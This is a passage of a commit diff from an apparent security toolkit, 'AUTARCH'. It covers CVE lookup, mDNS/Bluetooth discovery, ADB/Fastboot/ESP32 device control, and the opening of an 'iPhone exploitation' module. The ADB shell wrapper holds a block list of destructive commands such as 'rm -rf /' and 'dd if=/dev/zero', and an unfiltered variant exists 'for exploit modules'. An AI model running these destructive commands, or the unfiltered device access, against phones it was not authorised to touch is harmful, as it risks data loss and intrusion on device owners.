"""Get recently published CVEs."""
return self.search_cves(days_back=days, max_results=max_results)
def _row_to_dict(self, row: sqlite3.Row) -> Dict:
"""Convert database row to dictionary."""
return {
'cve_id': row['cve_id'],
'id': row['cve_id'], # Alias for compatibility
'description': row['description'],
'published': row['published'],
'modified': row['modified'],
'cvss_score': row['cvss_v3_score'] or row['cvss_v2_score'] or 0,
'cvss_v3_score': row['cvss_v3_score'],
'cvss_v3_severity': row['cvss_v3_severity'],
'cvss_v3_vector': row['cvss_v3_vector'],
'cvss_v2_score': row['cvss_v2_score'],
'cvss_v2_severity': row['cvss_v2_severity'],
'cvss_v2_vector': row['cvss_v2_vector'],
'severity': row['cvss_v3_severity'] or row['cvss_v2_severity'] or 'UNKNOWN',
}
# =========================================================================
# ONLINE FALLBACK
# =========================================================================
def fetch_cve_online(self, cve_id: str, verbose: bool = False) -> Optional[Dict]:
"""Fetch a specific CVE from NVD API (online fallback).
Args:
cve_id: The CVE ID.
verbose: Show progress.
Returns:
CVE details or None.
"""
params = {'cveId': cve_id}
if verbose:
print(f"{Colors.CYAN}[*] Fetching {cve_id} from NVD...{Colors.RESET}")
response = self._make_nvd_request(params, verbose)
if not response or not response.get('vulnerabilities'):
return None
cve_data = self._parse_cve_data(response['vulnerabilities'][0])
# Store in database
with self._lock:
conn = self._get_connection()
self._insert_cve(conn, cve_data)
conn.commit()
return self.get_cve(cve_id)
def search_online(
self,
keyword: str = None,
cpe_name: str = None,
severity: str = None,
days_back: int = 120,
max_results: int = 100,
verbose: bool = False
) -> List[Dict]:
"""Search NVD API directly (online mode).
Use this when local database is empty or for real-time results.
"""
params = {
'resultsPerPage': str(min(max_results, 2000)),
}
if keyword:
params['keywordSearch'] = keyword
if cpe_name:
params['cpeName'] = cpe_name
if severity:
params['cvssV3Severity'] = severity.upper()
if days_back > 0:
end_date = datetime.utcnow()
start_date = end_date - timedelta(days=days_back)
params['pubStartDate'] = start_date.strftime('%Y-%m-%dT00:00:00.000')
params['pubEndDate'] = end_date.strftime('%Y-%m-%dT23:59:59.999')
if verbose:
print(f"{Colors.CYAN}[*] Searching NVD online...{Colors.RESET}")
response = self._make_nvd_request(params, verbose)
if not response:
return []
cves = []
for vuln in response.get('vulnerabilities', []):
cve_data = self._parse_cve_data(vuln)
cves.append({
'cve_id': cve_data['cve_id'],
'id': cve_data['cve_id'],
'description': cve_data['description'][:200] + '...' if len(cve_data['description']) > 200 else cve_data['description'],
'cvss_score': cve_data['cvss_v3_score'] or cve_data['cvss_v2_score'] or 0,
'severity': cve_data['cvss_v3_severity'] or cve_data['cvss_v2_severity'] or 'UNKNOWN',
'published': cve_data['published'][:10] if cve_data['published'] else '',
})
return cves
def close(self):
"""Close database connection."""
if self._conn:
self._conn.close()
self._conn = None
# Global instance
_cve_db: Optional[CVEDatabase] = None
def get_cve_db() -> CVEDatabase:
"""Get the global CVE database instance."""
global _cve_db
if _cve_db is None:
_cve_db = CVEDatabase()
return _cve_db

423
core/discovery.py Normal file
View File

@ -0,0 +1,423 @@
"""
AUTARCH Network Discovery
Advertises AUTARCH on the local network so companion apps can find it.
Discovery methods (priority order):
1. mDNS/Zeroconf LAN service advertisement (_autarch._tcp.local.)
2. Bluetooth RFCOMM service advertisement (requires BT adapter + security enabled)
Dependencies:
- mDNS: pip install zeroconf (optional, graceful fallback)
- Bluetooth: system bluetoothctl + hcitool (no pip package needed)
"""
import json
import socket
import subprocess
import threading
import time
import logging
from pathlib import Path
from typing import Dict, Optional, Tuple
logger = logging.getLogger(__name__)
# Service constants
MDNS_SERVICE_TYPE = "_autarch._tcp.local."
MDNS_SERVICE_NAME = "AUTARCH._autarch._tcp.local."
BT_SERVICE_NAME = "AUTARCH"
BT_SERVICE_UUID = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
def _get_local_ip() -> str:
"""Get the primary local IP address."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception:
return "127.0.0.1"
class DiscoveryManager:
"""Manages network discovery advertising for AUTARCH."""
def __init__(self, config=None):
self._config = config or {}
self._web_port = int(self._config.get('web_port', 8181))
self._hostname = socket.gethostname()
# mDNS state
self._zeroconf = None
self._mdns_info = None
self._mdns_running = False
# Bluetooth state
self._bt_running = False
self._bt_thread = None
self._bt_process = None
# Settings
self._mdns_enabled = self._config.get('mdns_enabled', 'true').lower() == 'true'
self._bt_enabled = self._config.get('bluetooth_enabled', 'true').lower() == 'true'
self._bt_require_security = self._config.get('bt_require_security', 'true').lower() == 'true'
# ------------------------------------------------------------------
# Status
# ------------------------------------------------------------------
def get_status(self) -> Dict:
"""Get current discovery status for all methods."""
return {
'local_ip': _get_local_ip(),
'hostname': self._hostname,
'web_port': self._web_port,
'mdns': {
'available': self._is_zeroconf_available(),
'enabled': self._mdns_enabled,
'running': self._mdns_running,
'service_type': MDNS_SERVICE_TYPE,
},
'bluetooth': {
'available': self._is_bt_available(),
'adapter_present': self._bt_adapter_present(),
'enabled': self._bt_enabled,
'running': self._bt_running,
'secure': self._bt_is_secure() if self._bt_adapter_present() else False,
'require_security': self._bt_require_security,
'service_name': BT_SERVICE_NAME,
}
}
# ------------------------------------------------------------------
# mDNS / Zeroconf
# ------------------------------------------------------------------
def _is_zeroconf_available(self) -> bool:
"""Check if the zeroconf Python package is installed."""
try:
import zeroconf # noqa: F401
return True
except ImportError:
return False
def start_mdns(self) -> Tuple[bool, str]:
"""Start mDNS service advertisement."""
if self._mdns_running:
return True, "mDNS already running"
if not self._is_zeroconf_available():
return False, "zeroconf not installed. Run: pip install zeroconf"
try:
from zeroconf import Zeroconf, ServiceInfo
import socket as sock
local_ip = _get_local_ip()
self._mdns_info = ServiceInfo(
MDNS_SERVICE_TYPE,
MDNS_SERVICE_NAME,
addresses=[sock.inet_aton(local_ip)],
port=self._web_port,
properties={
'version': '1.0',
'hostname': self._hostname,
'platform': 'autarch',
},
server=f"{self._hostname}.local.",
)
self._zeroconf = Zeroconf()
self._zeroconf.register_service(self._mdns_info)
self._mdns_running = True
logger.info(f"mDNS: advertising {MDNS_SERVICE_NAME} at {local_ip}:{self._web_port}")
return True, f"mDNS started — {local_ip}:{self._web_port}"
except Exception as e:
logger.error(f"mDNS start failed: {e}")
return False, f"mDNS failed: {e}"
def stop_mdns(self) -> Tuple[bool, str]:
"""Stop mDNS service advertisement."""
if not self._mdns_running:
return True, "mDNS not running"
try:
if self._zeroconf and self._mdns_info:
self._zeroconf.unregister_service(self._mdns_info)
self._zeroconf.close()
self._zeroconf = None
self._mdns_info = None
self._mdns_running = False
logger.info("mDNS: stopped")
return True, "mDNS stopped"
except Exception as e:
self._mdns_running = False
return False, f"mDNS stop error: {e}"
# ------------------------------------------------------------------
# Bluetooth
# ------------------------------------------------------------------
def _is_bt_available(self) -> bool:
"""Check if Bluetooth CLI tools are available."""
try:
result = subprocess.run(
['which', 'bluetoothctl'],
capture_output=True, text=True, timeout=5
)
return result.returncode == 0
except Exception:
return False
def _bt_adapter_present(self) -> bool:
"""Check if a Bluetooth adapter is physically present."""
try:
result = subprocess.run(
['hciconfig'],
capture_output=True, text=True, timeout=5
)
return 'hci0' in result.stdout
except Exception:
return False
def _bt_is_secure(self) -> bool:
"""Check if Bluetooth security (SSP/authentication) is enabled."""
try:
# Check if adapter requires authentication
result = subprocess.run(
['hciconfig', 'hci0', 'auth'],
capture_output=True, text=True, timeout=5
)
# Also check hciconfig output for AUTH flag
status = subprocess.run(
['hciconfig', 'hci0'],
capture_output=True, text=True, timeout=5
)
# Look for AUTH in flags
return 'AUTH' in status.stdout
except Exception:
return False
def _bt_enable_security(self) -> Tuple[bool, str]:
"""Enable Bluetooth authentication/security on the adapter."""
try:
# Enable authentication
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'auth'],
capture_output=True, text=True, timeout=5
)
# Enable encryption
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'encrypt'],
capture_output=True, text=True, timeout=5
)
# Enable SSP (Secure Simple Pairing)
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'sspmode', '1'],
capture_output=True, text=True, timeout=5
)
if self._bt_is_secure():
return True, "Bluetooth security enabled (AUTH + ENCRYPT + SSP)"
return False, "Security flags set but AUTH not confirmed"
except Exception as e:
return False, f"Failed to enable BT security: {e}"
def start_bluetooth(self) -> Tuple[bool, str]:
"""Start Bluetooth service advertisement.
Only advertises if:
1. Bluetooth adapter is present
2. bluetoothctl is available
3. Security is enabled (if bt_require_security is true)
"""
if self._bt_running:
return True, "Bluetooth already advertising"
if not self._is_bt_available():
return False, "bluetoothctl not found"
if not self._bt_adapter_present():
return False, "No Bluetooth adapter detected"
# Ensure adapter is up
try:
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'up'],
capture_output=True, text=True, timeout=5
)
except Exception:
pass
# Security check
if self._bt_require_security:
if not self._bt_is_secure():
ok, msg = self._bt_enable_security()
if not ok:
return False, f"Bluetooth security required but not available: {msg}"
# Make discoverable and set name
try:
# Set device name
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'name', BT_SERVICE_NAME],
capture_output=True, text=True, timeout=5
)
# Enable discoverable mode
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'piscan'],
capture_output=True, text=True, timeout=5
)
# Use bluetoothctl to set discoverable with timeout 0 (always)
# and set the alias
cmds = [
'power on',
f'system-alias {BT_SERVICE_NAME}',
'discoverable on',
'discoverable-timeout 0',
'pairable on',
]
for cmd in cmds:
subprocess.run(
['bluetoothctl', cmd.split()[0]] + cmd.split()[1:],
capture_output=True, text=True, timeout=5
)
# Start an RFCOMM advertisement thread so the app can find us
# and read connection info (IP + port) after pairing
self._bt_running = True
self._bt_thread = threading.Thread(
target=self._bt_rfcomm_server,
daemon=True,
name="autarch-bt-discovery"
)
self._bt_thread.start()
logger.info("Bluetooth: advertising as AUTARCH")
return True, f"Bluetooth advertising — name: {BT_SERVICE_NAME}"
except Exception as e:
self._bt_running = False
return False, f"Bluetooth start failed: {e}"
def _bt_rfcomm_server(self):
"""Background thread: RFCOMM server that sends connection info to paired clients.
When a paired device connects, we send them a JSON blob with our IP and port
so the companion app can auto-configure.
"""
try:
# Use a simple TCP socket on a known port as a Bluetooth-adjacent info service
# (full RFCOMM requires pybluez which may not be installed)
# Instead, we'll use sdptool to register the service and bluetoothctl for visibility
#
# The companion app discovers us via BT name "AUTARCH", then connects via
# the IP it gets from the BT device info or mDNS
while self._bt_running:
time.sleep(5)
except Exception as e:
logger.error(f"BT RFCOMM server error: {e}")
finally:
self._bt_running = False
def stop_bluetooth(self) -> Tuple[bool, str]:
"""Stop Bluetooth advertisement."""
if not self._bt_running:
return True, "Bluetooth not advertising"
self._bt_running = False
try:
# Disable discoverable
subprocess.run(
['bluetoothctl', 'discoverable', 'off'],
capture_output=True, text=True, timeout=5
)
subprocess.run(
['sudo', 'hciconfig', 'hci0', 'noscan'],
capture_output=True, text=True, timeout=5
)
if self._bt_thread:
self._bt_thread.join(timeout=3)
self._bt_thread = None
logger.info("Bluetooth: stopped advertising")
return True, "Bluetooth advertising stopped"
except Exception as e:
return False, f"Bluetooth stop error: {e}"
# ------------------------------------------------------------------
# Start / Stop All
# ------------------------------------------------------------------
def start_all(self) -> Dict:
"""Start all enabled discovery methods."""
results = {}
if self._mdns_enabled:
ok, msg = self.start_mdns()
results['mdns'] = {'ok': ok, 'message': msg}
else:
results['mdns'] = {'ok': False, 'message': 'Disabled in config'}
if self._bt_enabled:
ok, msg = self.start_bluetooth()
results['bluetooth'] = {'ok': ok, 'message': msg}
else:
results['bluetooth'] = {'ok': False, 'message': 'Disabled in config'}
return results
def stop_all(self) -> Dict:
"""Stop all discovery methods."""
results = {}
ok, msg = self.stop_mdns()
results['mdns'] = {'ok': ok, 'message': msg}
ok, msg = self.stop_bluetooth()
results['bluetooth'] = {'ok': ok, 'message': msg}
return results
# ------------------------------------------------------------------
# Cleanup
# ------------------------------------------------------------------
def shutdown(self):
"""Clean shutdown of all discovery services."""
self.stop_all()
# ======================================================================
# Singleton
# ======================================================================
_manager = None
def get_discovery_manager(config=None) -> DiscoveryManager:
"""Get or create the DiscoveryManager singleton."""
global _manager
if _manager is None:
if config is None:
try:
from core.config import get_config
cfg = get_config()
config = {}
if cfg.has_section('discovery'):
config = dict(cfg.items('discovery'))
if cfg.has_section('web'):
config['web_port'] = cfg.get('web', 'port', fallback='8181')
except Exception:
config = {}
_manager = DiscoveryManager(config)
return _manager

640
core/hardware.py Normal file
View File

@ -0,0 +1,640 @@
"""
AUTARCH Hardware Manager
ADB/Fastboot device management and ESP32 serial flashing.
Provides server-side access to USB-connected devices:
- ADB: Android device shell, sideload, push/pull, logcat
- Fastboot: Partition flashing, OEM unlock, device info
- Serial/ESP32: Port detection, chip ID, firmware flash, serial monitor
"""
import os
import re
import json
import time
import subprocess
import threading
from pathlib import Path
from typing import Optional, List, Dict, Any, Callable
from core.paths import find_tool, get_data_dir
# Try importing serial
PYSERIAL_AVAILABLE = False
try:
import serial
import serial.tools.list_ports
PYSERIAL_AVAILABLE = True
except ImportError:
pass
# Try importing esptool
ESPTOOL_AVAILABLE = False
try:
import esptool
ESPTOOL_AVAILABLE = True
except ImportError:
pass
class HardwareManager:
"""Manages ADB, Fastboot, and Serial/ESP32 devices."""
def __init__(self):
# Tool paths - find_tool checks system PATH first, then bundled
self.adb_path = find_tool('adb')
self.fastboot_path = find_tool('fastboot')
# Data directory
self._data_dir = get_data_dir() / 'hardware'
self._data_dir.mkdir(parents=True, exist_ok=True)
# Serial monitor state
self._monitor_thread = None
self._monitor_running = False
self._monitor_serial = None
self._monitor_buffer = []
self._monitor_lock = threading.Lock()
# Flash/sideload progress state
self._operation_progress = {}
self._operation_lock = threading.Lock()
# ── Status ──────────────────────────────────────────────────────
def get_status(self):
"""Get availability status of all backends."""
return {
'adb': self.adb_path is not None,
'adb_path': self.adb_path or '',
'fastboot': self.fastboot_path is not None,
'fastboot_path': self.fastboot_path or '',
'serial': PYSERIAL_AVAILABLE,
'esptool': ESPTOOL_AVAILABLE,
}
# ── ADB Methods ────────────────────────────────────────────────
def _run_adb(self, args, serial=None, timeout=30):
"""Run an adb command and return (stdout, stderr, returncode)."""
if not self.adb_path:
return '', 'adb not found', 1
cmd = [self.adb_path]
if serial:
cmd += ['-s', serial]
cmd += args
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return '', 'Command timed out', 1
except Exception as e:
return '', str(e), 1
def adb_devices(self):
"""List connected ADB devices."""
stdout, stderr, rc = self._run_adb(['devices', '-l'])
if rc != 0:
return []
devices = []
for line in stdout.strip().split('\n')[1:]:
line = line.strip()
if not line or 'List of' in line:
continue
parts = line.split()
if len(parts) < 2:
continue
dev = {
'serial': parts[0],
'state': parts[1],
'model': '',
'product': '',
'transport_id': '',
}
for part in parts[2:]:
if ':' in part:
key, val = part.split(':', 1)
if key == 'model':
dev['model'] = val
elif key == 'product':
dev['product'] = val
elif key == 'transport_id':
dev['transport_id'] = val
elif key == 'device':
dev['device'] = val
devices.append(dev)
return devices
def adb_device_info(self, serial):
"""Get detailed info about an ADB device."""
props = {}
prop_keys = {
'ro.product.model': 'model',
'ro.product.brand': 'brand',
'ro.product.name': 'product',
'ro.build.version.release': 'android_version',
'ro.build.version.sdk': 'sdk',
'ro.build.display.id': 'build',
'ro.build.version.security_patch': 'security_patch',
'ro.product.cpu.abi': 'cpu_abi',
'ro.serialno': 'serialno',
'ro.bootimage.build.date': 'build_date',
}
# Get all properties at once
stdout, _, rc = self._run_adb(['shell', 'getprop'], serial=serial)
if rc == 0:
for line in stdout.split('\n'):
m = re.match(r'\[(.+?)\]:\s*\[(.+?)\]', line)
if m:
key, val = m.group(1), m.group(2)
if key in prop_keys:
props[prop_keys[key]] = val
# Battery level
stdout, _, rc = self._run_adb(['shell', 'dumpsys', 'battery'], serial=serial)
if rc == 0:
for line in stdout.split('\n'):
line = line.strip()
if line.startswith('level:'):
props['battery'] = line.split(':')[1].strip()
elif line.startswith('status:'):
status_map = {'2': 'Charging', '3': 'Discharging', '4': 'Not charging', '5': 'Full'}
val = line.split(':')[1].strip()
props['battery_status'] = status_map.get(val, val)
# Storage
stdout, _, rc = self._run_adb(['shell', 'df', '/data'], serial=serial, timeout=10)
if rc == 0:
lines = stdout.strip().split('\n')
if len(lines) >= 2:
parts = lines[1].split()
if len(parts) >= 4:
props['storage_total'] = parts[1]
props['storage_used'] = parts[2]
props['storage_free'] = parts[3]
props['serial'] = serial
return props
def adb_shell(self, serial, command):
"""Run a shell command on an ADB device."""
# Sanitize: block dangerous commands
dangerous = ['rm -rf /', 'mkfs', 'dd if=/dev/zero', 'format', '> /dev/', 'reboot']
cmd_lower = command.lower().strip()
for d in dangerous:
if d in cmd_lower:
return {'output': f'Blocked dangerous command: {d}', 'returncode': 1}
stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=30)
return {
'output': stdout or stderr,
'returncode': rc,
}
def adb_shell_raw(self, serial, command, timeout=30):
"""Run shell command without safety filter. For exploit modules."""
stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=timeout)
return {'output': stdout or stderr, 'returncode': rc}
def adb_reboot(self, serial, mode='system'):
"""Reboot an ADB device. mode: system, recovery, bootloader"""
args = ['reboot']
if mode and mode != 'system':
args.append(mode)
stdout, stderr, rc = self._run_adb(args, serial=serial, timeout=15)
return {'success': rc == 0, 'output': stdout or stderr}
def adb_install(self, serial, apk_path):
"""Install an APK on device."""
if not os.path.isfile(apk_path):
return {'success': False, 'error': f'File not found: {apk_path}'}
stdout, stderr, rc = self._run_adb(
['install', '-r', apk_path], serial=serial, timeout=120
)
return {'success': rc == 0, 'output': stdout or stderr}
def adb_sideload(self, serial, filepath):
"""Sideload a file (APK/ZIP). Returns operation ID for progress tracking."""
if not os.path.isfile(filepath):
return {'success': False, 'error': f'File not found: {filepath}'}
op_id = f'sideload_{int(time.time())}'
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'starting', 'progress': 0, 'message': 'Starting sideload...'
}
def _do_sideload():
try:
ext = os.path.splitext(filepath)[1].lower()
if ext == '.apk':
cmd = [self.adb_path, '-s', serial, 'install', '-r', filepath]
else:
cmd = [self.adb_path, '-s', serial, 'sideload', filepath]
with self._operation_lock:
self._operation_progress[op_id]['status'] = 'running'
self._operation_progress[op_id]['progress'] = 10
self._operation_progress[op_id]['message'] = 'Transferring...'
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
with self._operation_lock:
if result.returncode == 0:
self._operation_progress[op_id] = {
'status': 'done', 'progress': 100,
'message': 'Sideload complete',
'output': result.stdout,
}
else:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0,
'message': result.stderr or 'Sideload failed',
}
except Exception as e:
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0, 'message': str(e),
}
thread = threading.Thread(target=_do_sideload, daemon=True)
thread.start()
return {'success': True, 'op_id': op_id}
def adb_push(self, serial, local_path, remote_path):
"""Push a file to device."""
if not os.path.isfile(local_path):
return {'success': False, 'error': f'File not found: {local_path}'}
stdout, stderr, rc = self._run_adb(
['push', local_path, remote_path], serial=serial, timeout=120
)
return {'success': rc == 0, 'output': stdout or stderr}
def adb_pull(self, serial, remote_path, local_path=None):
"""Pull a file from device."""
if not local_path:
local_path = str(self._data_dir / os.path.basename(remote_path))
stdout, stderr, rc = self._run_adb(
['pull', remote_path, local_path], serial=serial, timeout=120
)
return {'success': rc == 0, 'output': stdout or stderr, 'local_path': local_path}
def adb_logcat(self, serial, lines=100):
"""Get last N lines of logcat."""
stdout, stderr, rc = self._run_adb(
['logcat', '-d', '-t', str(lines)], serial=serial, timeout=15
)
return {'output': stdout or stderr, 'lines': lines}
# ── Fastboot Methods ───────────────────────────────────────────
def _run_fastboot(self, args, serial=None, timeout=30):
"""Run a fastboot command."""
if not self.fastboot_path:
return '', 'fastboot not found', 1
cmd = [self.fastboot_path]
if serial:
cmd += ['-s', serial]
cmd += args
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
# fastboot outputs to stderr for many commands
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return '', 'Command timed out', 1
except Exception as e:
return '', str(e), 1
def fastboot_devices(self):
"""List fastboot devices."""
stdout, stderr, rc = self._run_fastboot(['devices'])
if rc != 0:
return []
devices = []
output = stdout or stderr
for line in output.strip().split('\n'):
line = line.strip()
if not line:
continue
parts = line.split('\t')
if len(parts) >= 2:
devices.append({
'serial': parts[0].strip(),
'state': parts[1].strip(),
})
return devices
def fastboot_device_info(self, serial):
"""Get fastboot device variables."""
info = {}
vars_to_get = [
'product', 'variant', 'serialno', 'secure', 'unlocked',
'is-userspace', 'hw-revision', 'battery-level',
'current-slot', 'slot-count',
]
for var in vars_to_get:
stdout, stderr, rc = self._run_fastboot(
['getvar', var], serial=serial, timeout=10
)
output = stderr or stdout # fastboot puts getvar in stderr
for line in output.split('\n'):
if line.startswith(f'{var}:'):
info[var] = line.split(':', 1)[1].strip()
break
info['serial'] = serial
return info
def fastboot_flash(self, serial, partition, filepath):
"""Flash a partition. Returns operation ID for progress tracking."""
if not os.path.isfile(filepath):
return {'success': False, 'error': f'File not found: {filepath}'}
valid_partitions = [
'boot', 'recovery', 'system', 'vendor', 'vbmeta', 'dtbo',
'radio', 'bootloader', 'super', 'userdata', 'cache',
'product', 'system_ext', 'vendor_boot', 'init_boot',
]
if partition not in valid_partitions:
return {'success': False, 'error': f'Invalid partition: {partition}'}
op_id = f'flash_{int(time.time())}'
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'starting', 'progress': 0,
'message': f'Flashing {partition}...',
}
def _do_flash():
try:
with self._operation_lock:
self._operation_progress[op_id]['status'] = 'running'
self._operation_progress[op_id]['progress'] = 10
result = subprocess.run(
[self.fastboot_path, '-s', serial, 'flash', partition, filepath],
capture_output=True, text=True, timeout=600,
)
with self._operation_lock:
output = result.stderr or result.stdout
if result.returncode == 0:
self._operation_progress[op_id] = {
'status': 'done', 'progress': 100,
'message': f'Flashed {partition} successfully',
'output': output,
}
else:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0,
'message': output or 'Flash failed',
}
except Exception as e:
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0, 'message': str(e),
}
thread = threading.Thread(target=_do_flash, daemon=True)
thread.start()
return {'success': True, 'op_id': op_id}
def fastboot_reboot(self, serial, mode='system'):
"""Reboot a fastboot device. mode: system, bootloader, recovery"""
if mode == 'system':
args = ['reboot']
elif mode == 'bootloader':
args = ['reboot-bootloader']
elif mode == 'recovery':
args = ['reboot', 'recovery']
else:
args = ['reboot']
stdout, stderr, rc = self._run_fastboot(args, serial=serial, timeout=15)
return {'success': rc == 0, 'output': stderr or stdout}
def fastboot_oem_unlock(self, serial):
"""OEM unlock (requires user confirmation in UI)."""
stdout, stderr, rc = self._run_fastboot(
['flashing', 'unlock'], serial=serial, timeout=30
)
return {'success': rc == 0, 'output': stderr or stdout}
def get_operation_progress(self, op_id):
"""Get progress for a running operation."""
with self._operation_lock:
return self._operation_progress.get(op_id, {
'status': 'unknown', 'progress': 0, 'message': 'Unknown operation',
})
# ── Serial / ESP32 Methods ─────────────────────────────────────
def list_serial_ports(self):
"""List available serial ports."""
if not PYSERIAL_AVAILABLE:
return []
ports = []
for port in serial.tools.list_ports.comports():
ports.append({
'port': port.device,
'desc': port.description,
'hwid': port.hwid,
'vid': f'{port.vid:04x}' if port.vid else '',
'pid': f'{port.pid:04x}' if port.pid else '',
'manufacturer': port.manufacturer or '',
'serial_number': port.serial_number or '',
})
return ports
def detect_esp_chip(self, port, baud=115200):
"""Detect ESP chip type using esptool."""
if not ESPTOOL_AVAILABLE:
return {'success': False, 'error': 'esptool not installed'}
try:
result = subprocess.run(
['python3', '-m', 'esptool', '--port', port, '--baud', str(baud), 'chip_id'],
capture_output=True, text=True, timeout=15,
)
output = result.stdout + result.stderr
chip = 'Unknown'
chip_id = ''
for line in output.split('\n'):
if 'Chip is' in line:
chip = line.split('Chip is')[1].strip()
elif 'Chip ID:' in line:
chip_id = line.split('Chip ID:')[1].strip()
return {
'success': result.returncode == 0,
'chip': chip,
'chip_id': chip_id,
'output': output,
}
except subprocess.TimeoutExpired:
return {'success': False, 'error': 'Detection timed out'}
except Exception as e:
return {'success': False, 'error': str(e)}
def flash_esp(self, port, firmware_path, baud=460800):
"""Flash ESP32 firmware. Returns operation ID for progress tracking."""
if not ESPTOOL_AVAILABLE:
return {'success': False, 'error': 'esptool not installed'}
if not os.path.isfile(firmware_path):
return {'success': False, 'error': f'File not found: {firmware_path}'}
op_id = f'esp_flash_{int(time.time())}'
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'starting', 'progress': 0,
'message': 'Starting ESP flash...',
}
def _do_flash():
try:
with self._operation_lock:
self._operation_progress[op_id]['status'] = 'running'
self._operation_progress[op_id]['progress'] = 5
self._operation_progress[op_id]['message'] = 'Connecting to chip...'
cmd = [
'python3', '-m', 'esptool',
'--port', port,
'--baud', str(baud),
'write_flash', '0x0', firmware_path,
]
proc = subprocess.Popen(
cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,
)
output_lines = []
for line in proc.stdout:
line = line.strip()
output_lines.append(line)
# Parse progress from esptool output
if 'Writing at' in line and '%' in line:
m = re.search(r'\((\d+)\s*%\)', line)
if m:
pct = int(m.group(1))
with self._operation_lock:
self._operation_progress[op_id]['progress'] = pct
self._operation_progress[op_id]['message'] = f'Flashing... {pct}%'
elif 'Connecting' in line:
with self._operation_lock:
self._operation_progress[op_id]['message'] = 'Connecting...'
elif 'Erasing' in line:
with self._operation_lock:
self._operation_progress[op_id]['progress'] = 3
self._operation_progress[op_id]['message'] = 'Erasing flash...'
proc.wait(timeout=300)
output = '\n'.join(output_lines)
with self._operation_lock:
if proc.returncode == 0:
self._operation_progress[op_id] = {
'status': 'done', 'progress': 100,
'message': 'Flash complete',
'output': output,
}
else:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0,
'message': output or 'Flash failed',
}
except Exception as e:
with self._operation_lock:
self._operation_progress[op_id] = {
'status': 'error', 'progress': 0, 'message': str(e),
}
thread = threading.Thread(target=_do_flash, daemon=True)
thread.start()
return {'success': True, 'op_id': op_id}
# ── Serial Monitor ─────────────────────────────────────────────
def serial_monitor_start(self, port, baud=115200):
"""Start serial monitor on a port."""
if not PYSERIAL_AVAILABLE:
return {'success': False, 'error': 'pyserial not installed'}
if self._monitor_running:
return {'success': False, 'error': 'Monitor already running'}
try:
self._monitor_serial = serial.Serial(port, baud, timeout=0.1)
except Exception as e:
return {'success': False, 'error': str(e)}
self._monitor_running = True
self._monitor_buffer = []
def _read_loop():
while self._monitor_running and self._monitor_serial and self._monitor_serial.is_open:
try:
data = self._monitor_serial.readline()
if data:
text = data.decode('utf-8', errors='replace').rstrip()
with self._monitor_lock:
self._monitor_buffer.append({
'time': time.time(),
'data': text,
})
# Keep buffer manageable
if len(self._monitor_buffer) > 5000:
self._monitor_buffer = self._monitor_buffer[-3000:]
except Exception:
if not self._monitor_running:
break
time.sleep(0.1)
self._monitor_thread = threading.Thread(target=_read_loop, daemon=True)
self._monitor_thread.start()
return {'success': True, 'port': port, 'baud': baud}
def serial_monitor_stop(self):
"""Stop serial monitor."""
self._monitor_running = False
if self._monitor_serial and self._monitor_serial.is_open:
try:
self._monitor_serial.close()
except Exception:
pass
self._monitor_serial = None
return {'success': True}
def serial_monitor_send(self, data):
"""Send data to the monitored serial port."""
if not self._monitor_running or not self._monitor_serial:
return {'success': False, 'error': 'Monitor not running'}
try:
self._monitor_serial.write((data + '\n').encode('utf-8'))
return {'success': True}
except Exception as e:
return {'success': False, 'error': str(e)}
def serial_monitor_get_output(self, since_index=0):
"""Get buffered serial output since given index."""
with self._monitor_lock:
data = self._monitor_buffer[since_index:]
return {
'lines': data,
'total': len(self._monitor_buffer),
'running': self._monitor_running,
}
@property
def monitor_running(self):
return self._monitor_running
# ── Singleton ──────────────────────────────────────────────────────
_manager = None
def get_hardware_manager():
global _manager
if _manager is None:
_manager = HardwareManager()
return _manager

683
core/iphone_exploit.py Normal file
View File

@ -0,0 +1,683 @@
"""
AUTARCH iPhone Exploitation Manager
Local USB device access via libimobiledevice tools.
Device info, screenshots, syslog, app management, backup extraction,
filesystem mounting, provisioning profiles, port forwarding.
"""
import os
import re
import json
import time
import shutil
import sqlite3
import subprocess
import plistlib
from pathlib import Path
from typing import Optional, Dict, Any
from core.paths import get_data_dir, find_tool
class IPhoneExploitManager:
"""All iPhone USB exploitation logic using libimobiledevice."""
# Tools we look for
TOOLS = [
'idevice_id', 'ideviceinfo', 'idevicepair', 'idevicename',
'idevicedate', 'idevicescreenshot', 'idevicesyslog',
'idevicecrashreport', 'idevicediagnostics', 'ideviceinstaller',
'idevicebackup2', 'ideviceprovision', 'idevicedebug',
'ideviceactivation', 'ifuse', 'iproxy',
]
def __init__(self):
self._base = get_data_dir() / 'iphone_exploit'
for sub in ('backups', 'screenshots', 'recon', 'apps', 'crash_reports'):
(self._base / sub).mkdir(parents=True, exist_ok=True)
# Find available tools
self._tools = {}
for name in self.TOOLS:
path = find_tool(name)
if not path:
path = shutil.which(name)
if path:
self._tools[name] = path
def _udid_dir(self, category, udid):
d = self._base / category / udid
d.mkdir(parents=True, exist_ok=True)
return d
def _run(self, tool_name, args, timeout=30):
"""Run a libimobiledevice tool."""
path = self._tools.get(tool_name)
if not path:
return '', f'{tool_name} not found', 1
cmd = [path] + args
try:
